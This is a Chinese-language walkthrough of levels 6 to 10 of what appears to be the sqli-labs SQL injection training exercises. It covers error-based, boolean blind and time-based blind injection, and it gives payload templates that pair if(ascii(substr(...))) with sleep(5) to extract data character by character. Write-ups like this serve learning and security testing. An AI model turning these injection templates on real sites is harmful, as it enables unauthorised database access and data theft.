Less 6 - 10 这部分的内容基本上和Less 1-5差不多,换汤不换药,如果出现疑惑,可以看看1-5的解释。
简单的说下测试的过程
" // 出现SQL语句错误,说明可以基于报错修改参数,且"闭合方式 id=1" and "1"="1 // 是否出现SQL注入的特征最后得出payload:
id=1" and [payload] and "1"="1很惭愧,暂未成功。
这题虽然很容易但是比较贴切生产环境的,一般生产的环境中都是盲注。
id=1' //没有出现信息 id=1" //出现信息 id=1' and '1'='1这题和前面的题目非常的相像,唯一的不同就是他不会抛出相应的异常信息来提示我们,我们主要靠他信息是否输出。 如果输出了信息,那么说明我们的语法不存在错误,如果没有输出信息,那么就是说我们可能出现的语法错误。 最后得出payload:
1' and [payload] and '1'='1一开始我是直接
1' and '1'='1 1' and '1'='2发现下面的You are in………..一直都是显示的,我直接翻代码。
if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }发现他不管语法正确错误,都不显示查询的结果,那么这个时候,我们才抬头看标题是Time Base,因为之前接触得少,所以查阅的一些资料,里面主要用到的几个函数如下:
这两个是基于时间注入最重要的两个函数,最后得出payload代码:
and 1' and if(ascii(substr([获取到相应的信息函数],[第几个字符],1))=[猜测的字符],1,sleep(5)) and '1'='1总结: 1、判断是否正确的标准是是否执行了延时函数sleep(timeout),我们例子中的是错误的时候延时,则没有延时的时候为正确的。 3、使用猜测的方式尝试猜解出相应的信息(也叫爆破),不是直接查询出来的。
和Less 9唯一不同的点就是单引号换成双引号。 payload:
and 1" and if(ascii(substr([获取到相应的信息函数],[第几个字符],1))=[猜测的字符],1,sleep(5)) and "1"="1